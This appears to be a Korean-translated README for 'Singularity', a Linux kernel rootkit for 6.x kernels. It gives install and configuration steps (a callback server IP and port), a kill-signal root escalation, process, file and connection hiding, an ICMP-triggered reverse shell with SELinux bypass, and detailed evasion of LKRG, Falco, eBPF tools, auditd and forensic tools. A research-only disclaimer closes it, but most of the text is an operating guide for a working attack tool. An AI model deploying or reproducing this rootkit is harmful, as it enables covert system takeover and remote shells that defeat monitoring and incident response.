
"포렌식에 약간의 일을 줘볼까?"
이 프로젝트는 저에게 아주 특별한 여성인 Mocinha에 의해 영감을 받았습니다
Singularity는 현대 6.x 커널을 위해 설계된 강력한 Linux Kernel Module (LKM) 루트킷입니다. ftrace 인프라를 통한 고급 시스템 콜 후킹으로 포괄적인 은밀성 기능을 제공합니다.
전체 연구 기사 (구버전): Singularity: A Final Boss Linux Kernel Rootkit
EDR 우회 사례 연구: Bypassing Elastic EDR with Singularity
POC 동영상: Singularity vs eBPF 보안 도구: Singularity vs eBPF security tools
Singularity 후킹으로 eBPF 보안 깨기: Breaking eBPF
Singularity는 커널 레벨에서 작동하는 정교한 루트킷으로, 다음 기능을 제공합니다:
/sys/fs/cgroup/*/cgroup.procs를 통한 탐지 방지를 위한 Cgroup PID 필터링cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
That's it. The module automatically:
- Hides itself from lsmod, /proc/modules, /sys/module
- Clears kernel taint flags
- Filters sensitive strings from dmesg, journalctl -k, klogctl
- Starts protecting your hidden files and processes
### Important Notes
**The module automatically hides itself after loading**
**There is no unload feature - reboot required to remove**
**Test in a VM first - cannot be removed without restarting**
## Configuration
### Set Your Server IP and Port
**Edit `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c 편집:```c
#define SRV_PORT "8081" // Change this to your desired port
**편집 `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c 편집:```c
#define PORT 8081 // Must match SRV_PORT
**중요**: 모든 포트 정의가 일치해야 네트워크 은닉 및 ICMP 역방향 셸 기능이 제대로 작동합니다.
## 사용법
### 프로세스 숨기기```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
설정된 패턴과 일치하는 파일이 자동으로 숨겨집니다:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### 루트 권한 획득
**시그널 기반 방식:**```bash
kill -59 $$
id # uid=0(root)
설정된 포트(기본값: 8081)의 연결이 자동으로 숨겨집니다:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
패킷은 raw 소켓 수준(tpacket_rcv)에서 드롭되며 다음으로부터 숨겨집니다:
- /proc/net/* 인터페이스 (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG 쿼리 (ss, lsof에서 사용)
- Netlink NETFILTER/conntrack 메시지 (conntrack 도구에서 사용)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>
### ICMP 리버스 셸
자동 SELinux 우회를 통해 원격으로 숨겨진 리버스 셸 트리거:
**1. 리스너 시작:**```bash
nc -lvnp 8081 # Use your configured port
2. ICMP 트리거 보내기:```bash sudo python3 scripts/trigger.py <target_ip>
**3. Receive root shell** (automatically hidden with all child processes, SELinux enforcing mode bypassed if active)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>
## 보호 메커니즘
### Ftrace 제어 보호
ftrace를 비활성화하려는 모든 시도는 조용히 가로채져 차단됩니다:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)
bpf_hook.c 모듈은 eBPF 기반 보안 도구에 대한 정교한 탐지 회피 시스템을 구현합니다. BPF 시스템 콜을 완전히 차단하는 대신(이는 탐지 지문이 됨), 커널 수준에서 데이터를 선택적으로 필터링하여 숨겨진 프로세스와 연결이 eBPF 프로그램에 보이지 않도록 합니다.
전략: BPF 시스템 콜 자체가 아닌, eBPF 프로그램이 사용하는 데이터 수집 및 보고 함수를 가로챕니다. 이를 통해 합법적인 eBPF 도구는 정상적으로 실행되면서도 숨겨진 리소스를 보지 못하게 합니다.
보호되는 리소스:
가로채기 지점:
이 접근 방식은 BPF 연산을 완전히 차단할 때 발생하는 경보를 유발하지 않으면서 eBPF 보안 도구를 무력화합니다.
ftrace_enabled 및 tracing_on 시도에 대한 io_uring 우회 보호. PID당 1초 캐싱을 통해 반복적인 프로세스 스캐닝을 방지하고 오버헤드를 줄입니다.
모든 커널 로그 인터페이스에서 민감한 문자열을 실시간으로 필터링:
필터링 키워드: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
참고: 숨겨진 PID에 대한 감사 메시지는 netlink 수준에서 차단되며 통계가 추적됩니다 (get_blocked_audit_count, get_total_audit_count)
Singularity는 write 시스템 콜을 후킹하여 디스크 포렌식 도구의 출력을 감지하고 필터링합니다:
작동 방식:
/dev/sda, /dev/nvme0n1 등)debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
**감지된 패턴:**
- `debugfs:` 접두사
- 괄호가 있는 Inode 목록
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`
### 프로세스 은닉 구현
시스템 호출 및 커널 인터페이스로부터 완전한 은닉:
- /proc/[pid]/* (openat, readlinkat 차단됨)
- getdents, getdents64 (디렉터리 목록 필터링됨)
- stat, lstat, statx, newfstatat (메타데이터 숨겨짐)
- kill with signal 0 (ESRCH 반환)
- getsid, getpgid, getpgrp (ESRCH 반환)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (ESRCH 반환)
- getpriority (ESRCH 반환)
- sysinfo (프로세스 수 조정됨)
- pidfd_open (ESRCH 반환)
- TaskStats netlink 쿼리 (ESRCH 반환)
- Cgroup PIDs가 cgroup.procs에서 필터링됨
자식 프로세스는 sched_process_fork 트레이스포인트 훅을 통해 자동으로 추적됩니다.
### LKRG 우회
Singularity는 Linux Kernel Runtime Guard에 대한 종합적인 회피를 구현합니다:
**우회된 검사:**
- 프로세스 자격 증명 검증 (p_cmp_creds)
- 태스크 구조 무결성 (p_cmp_tasks)
- 제어 흐름 무결성 검증 (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- 커널 무결성 검사 (p_check_integrity)
- 익스플로잇 탐지 서브시스템 (p_exploit_detection_init)
- 사용자 모드 헬퍼 추적 (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- 태스크 덤프 및 열거 (p_dump_task_f, ed_task_add)
- Kprobe ftrace 핸들러 가로채기
**기능:**
- 자동 LKRG 탐지 및 훅 설치
- 프로세스 계통 검증 (최대 64레벨 깊이의 전체 프로세스 트리 은닉)
- 리버스 셸 작업을 위한 UMH 우회
- LKRG 로딩 탐지를 위한 모듈 알림 시스템
은닉된 프로세스는 모든 LKRG 무결성 검증 메커니즘에서 보이지 않습니다.
### Falco 우회
Singularity는 eBPF 기반 보안 도구가 은닉된 프로세스와 네트워크 연결을 탐지하지 못하도록 방지하는 종합적인 안티-EDR 방어 시스템을 구현합니다. 보호는 eBPF 프로그램이 데이터를 수집하고 보고하는 데 사용하는 커널 함수를 가로채는 방식으로 작동합니다.
**보호 대상:**
- Falco (이벤트 기반 런타임 보안)
- Tracee (보안 추적)
- bpftool 및 BPF 백엔드가 있는 ss
**다중 레이어 가로채기:**
1. **이터레이터 필터링** (bpf_iter_run_prog)
- TCP/UDP 이터레이터에서 은닉 포트의 소켓 필터링
- 태스크 이터레이터에서 프로세스와 그 자식 숨기기
- `ss` 및 프로세스 열거 도구를 통한 탐지 방지
2. **링버퍼 이벤트 차단** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
- 헤더 형식 분석을 통해 Falco 이벤트 구조 탐지
- 은닉 PID에 대한 이벤트 할당, 제출 및 출력 차단
- 시스템 호출 이벤트가 Falco 사용자 공간 에이전트에 도달하지 못하도록 방지
3. **BPF 맵 조작** (bpf_map_lookup_elem, bpf_map_update_elem)
- eBPF가 맵에서 은닉 PID를 조회할 때 NULL 반환
- 키가 은닉 PID인 맵 삽입을 조용히 드롭
- eBPF 보안 도구가 은닉 프로세스를 추적하지 못하도록 방지
4. **Perf 이벤트 억제** (perf_event_output, perf_trace_run_bpf_submit)
- 은닉 프로세스의 perf 기반 이벤트 제출 차단
- 레거시 eBPF 도구가 추적 데이터를 수신하지 못하도록 방지
5. **Seq 파일 필터링** (bpf_seq_write, bpf_seq_printf)
- 쓰기 전에 출력 데이터에서 은닉 PID 스캔
- eBPF 이터레이터가 사용하는 /proc 인터페이스를 통한 누출 방지
6. **프로그램 실행 제어** (__bpf_prog_run)
- 은닉 프로세스 컨텍스트에서 실행될 때 eBPF 프로그램 실행 차단
- 은닉 프로세스 내부에 대한 eBPF 기반 모니터링 방지
**소켓 및 연결 은닉:**
- 성능을 위해 은닉 IP 주소 캐싱
- 구성된 포트 및 IP를 기반으로 소켓 필터링
- IPv4 및 IPv6 연결 모두 은닉
- 이터레이터 레벨에서 작동 (데이터가 eBPF 프로그램에 도달하기 전)
**프로세스 계통 추적:**
- 최대 10레벨 깊이의 부모 프로세스 체인 추적
- 은닉 프로세스의 모든 후손 자동 은닉
- 은닉 후 생성된 자식 프로세스가 계속 보이지 않도록 보장
은닉된 프로세스와 연결은 eBPF 보안 도구에 보이는 이벤트를 전혀 생성하지 않습니다.
## 우회된 보안 도구
**프로세스 모니터링**: ps, top, htop, atop, pidof
**파일시스템**: ls, find, locate, stat, lstat, readlink, tree
**디스크 포렌식**: debugfs, e2fsck (쓰기 훅을 통해 출력 필터링)
**메모리 포렌식**: Volatility, crash, gdb (/proc/kcore 필터링을 통해)
**네트워크**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
**로그 및 추적**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
**루트킷 탐지기**: unhide, chkrootkit, rkhunter, OSSEC
**모듈 탐지**: lsmod, modinfo, /sys/module, /proc/modules, kmod
**커널 보안**: LKRG (Linux Kernel Runtime Guard)
**eBPF 보안 도구**:
- Falco (런타임 보안 모니터링)
- Tracee (보안 추적)
- bpftrace, bpftool (모니터링 용도로 사용 시)
**EDR/모니터링**: io_uring 기반 모니터, 일부 Linux EDR 솔루션, auditd
## 시스템 호출 훅
| Syscall/Function | Module | Purpose |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | 디렉터리 항목 필터링, PID 은닉 |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | 파일 메타데이터 은닉, nlink 조정 |
| getpriority | hiding_stat.c | 은닉 PID에 대한 우선순위 쿼리 은닉 |
| openat | open.c | 숨겨진 /proc/[pid] 접근 차단 |
| readlinkat | hiding_readlink.c | 심링크 해석 차단 |
| chdir | hiding_chdir.c | 숨겨진 디렉터리로 cd 방지 |
| read, pread64, readv, preadv | clear_taint_dmesg.c | 커널 로그, kcore, kallsyms, cgroup PID, nf_conntrack 필터링 |
| do_syslog | clear_taint_dmesg.c | klogctl()/syslog() 커널 링 버퍼 필터링 |
| sched_debug_show | clear_taint_dmesg.c | 스케줄러 디버그 출력 필터링 |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | ftrace 제어 차단 + 디스크 포렌식 필터링 + journalctl 출력 필터링 |
| sendfile, sendfile64, copy_file_range | hooks_write.c | 보호된 파일로의 파일 복사 차단 |
| splice, vmsplice, tee | hooks_write.c | 보호된 파일로의 파이프 기반 쓰기 차단 |
| io_uring_enter | hooks_write.c | PID 캐싱을 통한 비동기 I/O 우회 차단 |
| kill | become_root.c | 루트 트리거 + 프로세스 은닉 |
| getsid, getpgid, getpgrp | become_root.c | 은닉 PID에 대해 ESRCH 반환 |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | 은닉 PID에 대해 ESRCH 반환 |
| sysinfo | become_root.c | 프로세스 수 조정 |
| pidfd_open | become_root.c | 은닉 PID에 대해 ESRCH 반환 |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | /proc/net에서 TCP 연결 은닉 |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | /proc/net에서 UDP 연결 은닉 |
| tpacket_rcv | hiding_tcp.c | raw 소켓 레벨에서 패킷 드롭 |
| recvmsg, recvfrom | audit.c | netlink SOCK_DIAG 및 NETFILTER 메시지 필터링 |
| netlink_unicast | audit.c | 은닉 PID에 대한 감사 메시지 드롭 |
| audit_log_start | audit.c | 은닉 프로세스에 대한 감사 로그 생성 차단 |
| bpf | bpf_hook.c | 은닉 PID에 대한 eBPF 작업 필터링 |
| bpf_iter_run_prog | bpf_hook.c | BPF 이터레이터에서 은닉 프로세스 숨기기 |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | BPF seq 파일 출력 필터링 |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | 링버퍼를 통한 Falco 이벤트 필터링 |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | BPF 맵 작업 필터링 |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | 은닉 프로세스에 대한 perf 이벤트 필터링 |
| __bpf_prog_run | bpf_hook.c | BPF 프로그램 실행 필터링 |
| icmp_rcv | icmp.c | SELinux 우회가 포함된 ICMP 트리거 리버스 셸 |
| taskstats_user_cmd | task.c | 은닉 PID에 대한 TaskStats 쿼리 차단 |
| sched_process_fork (tracepoint) | trace.c | 자식 프로세스 추적 |
| kprobe_ftrace_handler | lkrg_bypass.c | LKRG kprobe 탐지 우회 |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | LKRG 자격 증명 검사 우회 |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | LKRG CFI 검증 우회 |
| p_check_integrity | lkrg_bypass.c | LKRG 무결성 검사 우회 |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | LKRG 태스크 열거에서 은닉 |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | LKRG UMH 추적 우회 |
| p_exploit_detection_init | lkrg_bypass.c | LKRG 익스플로잇 탐지 우회 |
| tainted_mask (kthread) | reset_tainted.c | 커널 오염 플래그 제거 |
| module_hide_current | hide_module.c | 모듈 목록 및 sysfs에서 제거 |
**멀티 아키텍처 지원**: x86_64 (`__x64_sys_*`) 및 ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)
## 테스트된 커널 버전
| 커널 버전 | 배포판 | 상태 | 비고 |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | 안정 | 주요 개발 환경 |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | 안정 | RHEL 기반 커널 |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | 안정 | Debian 커널 |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | 안정 | SELinux enforcing 우회 확인됨 |
| 6.17.0-8-generic | Ubuntu 25.10 | 안정 | 최신 일반 커널, 완전히 작동함 |
| 6.14.0-37-generic | Ubuntu 24.04 | 안정 | LKRG 및 Falco 우회 확인됨 |
| 6.12.25-amd64 | Kali Linux | 안정 | Kali 6.12.25-1kali1 |
## 줄거리
불행히도 일부에게는...
이러한 모든 필터, 보호 및 훅이 있어도 이 루트킷을 탐지할 수 있는 방법이 여전히 있습니다.
하지만 당신이 훌륭한 포렌식 분석가, DFIR 전문가 또는 악성코드 연구자라면, 스스로 알아내도록 하겠습니다.
이것에 대한 패치는 제공하지 않을 것입니다, 훨씬 더 강력해질 것이기 때문입니다 ;)
## 크레딧
**Singularity**는 **MatheuZSecurity** (Matheus Alves)가 만들었습니다.
- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`
**루트킷 연구자 커뮤니티 참여**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)
### 코드 참고
- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)
### 연구 영감
- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)
## 기여
- 개선을 위한 풀 리퀘스트 제출
- GitHub 이슈를 통해 버그 신고
- 새로운 회피 기법 제안
- 탐지 방법 공유 (연구용)
**버그를 찾으셨나요?** 이슈를 열거나 Discord에서 연락주세요: `kprobe`
**교육 및 연구 목적으로만 사용**
Singularity는 커널 수준 은폐 기술의 한계를 탐구하기 위한 연구 프로젝트로 만들어졌습니다. 목표는 한 가지 질문에 답하는 것입니다: **"루트킷이 시스템에 침투하여 로드될 경우 얼마나 숨을 수 있을까?"**
이 프로젝트는 다음을 위해 존재합니다:
- 공격 보안 연구의 경계를 넓히기 위해
- 방어자가 자신이 맞서고 있는 것을 이해하도록 돕기 위해
- 커널 내부 및 회피 기술에 대한 학습 자료 제공
- 보안 커뮤니티의 지식 기반에 기여
**저는 이 소프트웨어의 오용에 대해 책임지지 않습니다.** Singularity를 악의적인 목적으로 사용하기로 선택했다면, 그것은 당신의 책임입니다. 이 도구는 연구, 교육 및 승인된 보안 테스트 용도로만 있는 그대로 제공됩니다.
소유하고 있거나 테스트에 대한 명시적인 서면 허가를 받은 시스템에서만 테스트하십시오. 컴퓨터 시스템에 대한 무단 액세스는 대부분의 국가에서 불법입니다.
**연구자가 되십시오, 범죄자가 되지 마십시오.**
| 인터페이스 | 후크 | 상태 |
|---|
dmesg | /proc/kmsg에 대한 읽기 후크 | 필터링됨 |
journalctl -k | 쓰기 후크 (출력 필터링) | 필터링됨 |
klogctl() / syslog() | do_syslog 후크 | 필터링됨 |
/sys/kernel/debug/tracing/* | 읽기 후크 | 필터링됨 |
/var/log/kern.log, syslog, auth.log | 읽기 후크 | 필터링됨 |
/proc/kallsyms, /proc/kcore, /proc/vmallocinfo | 읽기 후크 | 필터링됨 |
/proc/net/nf_conntrack | 읽기 후크 | 필터링됨 |